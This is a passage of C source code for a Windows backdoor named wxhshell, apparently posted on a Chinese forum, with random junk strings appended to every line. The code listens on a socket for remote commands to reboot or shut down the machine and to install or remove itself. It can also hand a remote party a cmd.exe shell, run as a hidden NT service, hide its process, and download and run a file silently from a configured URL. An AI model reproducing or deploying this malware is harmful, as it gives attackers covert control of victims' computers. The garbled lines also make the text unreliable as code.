  // 帮助 ->93.sge  
  case '?': { snj+-'4T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  \f  
    break; bZtjg  
  } Mb$&~!  
  // 安装 M%$zor  
  case 'i': { *7-uQKp  
    if(Install()) (_-z m)F7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z` gR*+  
    else B3I< $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j\Q_NevV  
    break; 3!*J;Y  
    } o ue;$8  
  // 卸载 I.(/j  
  case 'r': { CZbp}:|  
    if(Uninstall()) :L\@+}{(c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bLf }U9  
    else D$ `yxc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M4')gG;  
    break; !JrVh$K  
    } /u#uC(Uwl  
  // 显示 wxhshell 所在路径 }dB01Jl '  
  case 'p': { s6KZV@1  
    char svExeFile[MAX_PATH]; iCw~4KG  
    strcpy(svExeFile,"\n\r"); _jnH!Mw  
      strcat(svExeFile,ExeFile); zeR!Y yt!  
        send(wsh,svExeFile,strlen(svExeFile),0); w/Q'T&>b/  
    break; gy*N)iv%  
    } (( t8  
  // 重启 t@!oc"z}@  
  case 'b': { HYpB]<F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1[B?nk  
    if(Boot(REBOOT)) UHR)]5Lt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)X1R/z5xw  
    else { !@*Ac$J>$  
    closesocket(wsh); ]LP&v3  
    ExitThread(0); QF\NHV  
    } rGq~e|.O3  
    break; KeXQ'.x5O  
    } nP_s+k  
  // 关机 JO1c9NyKr  
  case 'd': { .\1XR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NFc< %#H  
    if(Boot(SHUTDOWN)) neOR/]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Y-s],2V  
    else { Ym!Ia&n  
    closesocket(wsh); vw+ @'+  
    ExitThread(0); nc l-VN  
    } FtY*I&  
    break; ~W`upx)j  
    } _=, [5"  
  // 获取shell 4Jo:^JV  
  case 's': { ?b2%\p`"  
    CmdShell(wsh); 9~>;sjJk  
    closesocket(wsh); S W  
    ExitThread(0); 4$vya+mAk5  
    break; L!/USh:IP  
  } qW7S<ouh  
  // 退出 @gs Kb* ,  
  case 'x': { sFB; /*C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zf2]|]*xz  
    CloseIt(wsh); \.Q"fd?a_D  
    break; a"hlPJlG  
    } WO_cT26Y  
  // 离开 &a-:ZA@  
  case 'q': { 6)DYQ^4y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c< \:lhl  
    closesocket(wsh); I_eYTy-a`1  
    WSACleanup(); b/ur!2yr  
    exit(1); Ku&0bXP  
    break; 6C) G  
        } +h[$\_y  
  } 5H?`a7q N  
  } @\[&_DZ  
gxL5%:@  
  // 提示信息 HiVF<tN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | \Qr cf  
} 3LX<&."z  
  } 2<Ub[R  
:^?ZVi59j  
  return; ,R*ru*  
} .qF@ }dO  
]y!|x_5c3  
// shell模块句柄 _X;5ORH"  
int CmdShell(SOCKET sock) W^al`lg+y  
{ 1kTJMtZG~  
STARTUPINFO si; {w{|y[[d~  
ZeroMemory(&si,sizeof(si)); v)J6}H}e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UAH} ])U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `@=}5 9+|  
PROCESS_INFORMATION ProcessInfo; DA[-( s  
char cmdline[]="cmd"; -zMXc"'C^k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G4AX8@;U  
  return 0; O/l|\n  
} 3P'.)=}  
jskATA /  
// 自身启动模式 cdzMao  
int StartFromService(void) mVU(u_lh  
{ Px'%5TKN  
typedef struct E%jOJA  
{ tse(iX/D  
  DWORD ExitStatus; aI+:rk^  
  DWORD PebBaseAddress; Fi(_A  
  DWORD AffinityMask; Y@RPQPmIQ  
  DWORD BasePriority; +B c/@.Q'  
  ULONG UniqueProcessId; =s1"<hH}O)  
  ULONG InheritedFromUniqueProcessId; $5cLhi"`  
}   PROCESS_BASIC_INFORMATION; }q27M  
0>Ecm#  
PROCNTQSIP NtQueryInformationProcess; <;SMczR  
Alh%Z\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3vmLftZE}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;c<:"ad(  
JTl 37j  
  HANDLE             hProcess; ,Ea.ts>  
  PROCESS_BASIC_INFORMATION pbi; 0qZ{:}`3  
t'0r4&\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U}7$:hO"dX  
  if(NULL == hInst ) return 0; ma?569Z8~0  
pk(<],0]X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g :e|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 42t D$S5^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #.a4}ya19  
D OPOzh  
  if (!NtQueryInformationProcess) return 0; kw|bEL9!u  
<hQ@]2w$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \L6U}ZQ2V  
  if(!hProcess) return 0; uZ%b6+(  
6"eGd"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xp._B4g  
$fuFx8`2W  
  CloseHandle(hProcess); uoaF(F-  
%|oY8;0|A>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )^g}'V=vIr  
if(hProcess==NULL) return 0; K'N\"Y?>  
y.w/7iw:  
HMODULE hMod; M)Tv(7  
char procName[255]; a5z.c_7r  
unsigned long cbNeeded; +;U}SR<  
pShSK Rg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E^#|1Kpq  
U: gE:tf  
  CloseHandle(hProcess); hG&RGN_<6+  
2%1 g%  
if(strstr(procName,"services")) return 1; // 以服务启动 {HvR24#  
Af ^6  
  return 0; // 注册表启动 bo\|mvB~  
} {Kd9}CDAZ  
fx%'7/+  
// 主模块 ^fXNeBj  
int StartWxhshell(LPSTR lpCmdLine) HSp*lHU  
{ RE!MX>sOEq  
  SOCKET wsl; ZEUd?"gaR  
BOOL val=TRUE; :a#]"z0  
  int port=0; Y5cUOfYT  
  struct sockaddr_in door; 4 lJ@qhV  
RAXqRP,iw  
  if(wscfg.ws_autoins) Install(); 6bo,x  
: gv[X  
port=atoi(lpCmdLine); aW4tJN%!  
o(C({]UO/  
if(port<=0) port=wscfg.ws_port; -(Taj[;[  
./J.OU1  
  WSADATA data; Y\sLwLLlG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~}z p}Pt  
I?s)^'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k$k (g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qV9`  
  door.sin_family = AF_INET; `S{< $:D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "{qhk{  
  door.sin_port = htons(port); 9! gmS?f  
wToz{!n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J Y %B:  
closesocket(wsl); XV). cW|.a  
return 1; I2YQIY+  
} 4U C/pGZY  
pk: ruf`)  
  if(listen(wsl,2) == INVALID_SOCKET) { 8y~ Jn~t  
closesocket(wsl); \QHe0?6  
return 1; E' JVf%)  
} zrRt0}?xl  
  Wxhshell(wsl); I)_072^O  
  WSACleanup(); jr" yIC_  
<s]K~ Vo  
return 0; ,^:Zf|V  
Xdq2.:\  
} T1\Xz-1  
}_@cqx:n^  
// 以NT服务方式启动  6:ZqS~-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #}:VZ2Z  
{ "g>uNtt~  
DWORD   status = 0; ( F0.lDZ  
  DWORD   specificError = 0xfffffff; sjWhtd[fgG  
2"yzrwZ:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D#W{:_f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n_.2B$JD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8[(c'rl|)|  
  serviceStatus.dwWin32ExitCode     = 0; UFouIS#L  
  serviceStatus.dwServiceSpecificExitCode = 0; pb_mW;JVu  
  serviceStatus.dwCheckPoint       = 0; q|=tt(}G  
  serviceStatus.dwWaitHint       = 0; K]N^6ome  
6\OSIxJZF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &"Ua"H)  
  if (hServiceStatusHandle==0) return; s3/->1#i  
P]]9Sqo7  
status = GetLastError(); Qn[4&nUD  
  if (status!=NO_ERROR) P,CJy|[L  
{ p Ic ;9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *G'zES0x  
    serviceStatus.dwCheckPoint       = 0; @T?:[nPf&F  
    serviceStatus.dwWaitHint       = 0; R 4E0avt  
    serviceStatus.dwWin32ExitCode     = status; .<rL2`C[c  
    serviceStatus.dwServiceSpecificExitCode = specificError; kOFEH!9&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _+z@Qn?#6h  
    return; $J=9$.4"  
  } = fuF]yL%  
7s<v06Wo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f!xIMIl)+  
  serviceStatus.dwCheckPoint       = 0; 1PjSa4  
  serviceStatus.dwWaitHint       = 0; zu*0uL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AG/nX?u7)t  
} Fl(+c0|kT  
W\N-~9UA  
// 处理NT服务事件,比如:启动、停止 b0riiF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xb)XV$0  
{ $M$oNOT}Y  
switch(fdwControl) T 7Lk4cU  
{ 9n |H%AC  
case SERVICE_CONTROL_STOP: xqmJPbA  
  serviceStatus.dwWin32ExitCode = 0; EG7ki0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y\dK- M{$  
  serviceStatus.dwCheckPoint   = 0; \>23_d0  
  serviceStatus.dwWaitHint     = 0; ^p|@{4f]  
  { yr[iAi"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kx]f`b  
  } a!Z,~ V8  
  return; |1-0x%@[;  
case SERVICE_CONTROL_PAUSE: kS/Zb3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ULjW589 zb  
  break; B%^B_s  
case SERVICE_CONTROL_CONTINUE: <4rF3 aB-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;G;vpl  
  break; 3L=vsvO4  
case SERVICE_CONTROL_INTERROGATE: :pDwg d  
  break; <IK8 Ucp  
}; DK*2 d_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9i,QCA  
} !@ai=p  
4LUFG  
// 标准应用程序主函数 pjIXZ=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  6.KR(V  
{ \hv*`ukF  
#u|;YC  
// 获取操作系统版本 i. `S0  
OsIsNt=GetOsVer(); N@?Fpmu/k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `"A\8)6-  
]Ny.  gu  
  // 从命令行安装 x4.-7%VV%  
  if(strpbrk(lpCmdLine,"iI")) Install(); nDui9C  
/_ o1b_1 U  
  // 下载执行文件 w/h?, L|  
if(wscfg.ws_downexe) { } Yj ic4?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9t7_7{Q+;  
  WinExec(wscfg.ws_filenam,SW_HIDE); !<((@*zU  
} mBQ6qmK   
3AX/A+2  
if(!OsIsNt) { 9oc.`-e\?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Xh=rx_  
HideProc(); p`33`25  
StartWxhshell(lpCmdLine); S7E:&E&  
} &qMSJ  
else tA}O'x  
  if(StartFromService()) _2}i8q:  
  // 以服务方式启动 &wK%p/?  
  StartServiceCtrlDispatcher(DispatchTable); C Ij3D"  
else c<pr1g  
  // 普通方式启动 [M Z'i/  
  StartWxhshell(lpCmdLine); IUbYw~f3  
+ :iNoDz  
return 0; :HMnU37m W  
}
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只看该作者 1 发表于: 2006-10-10
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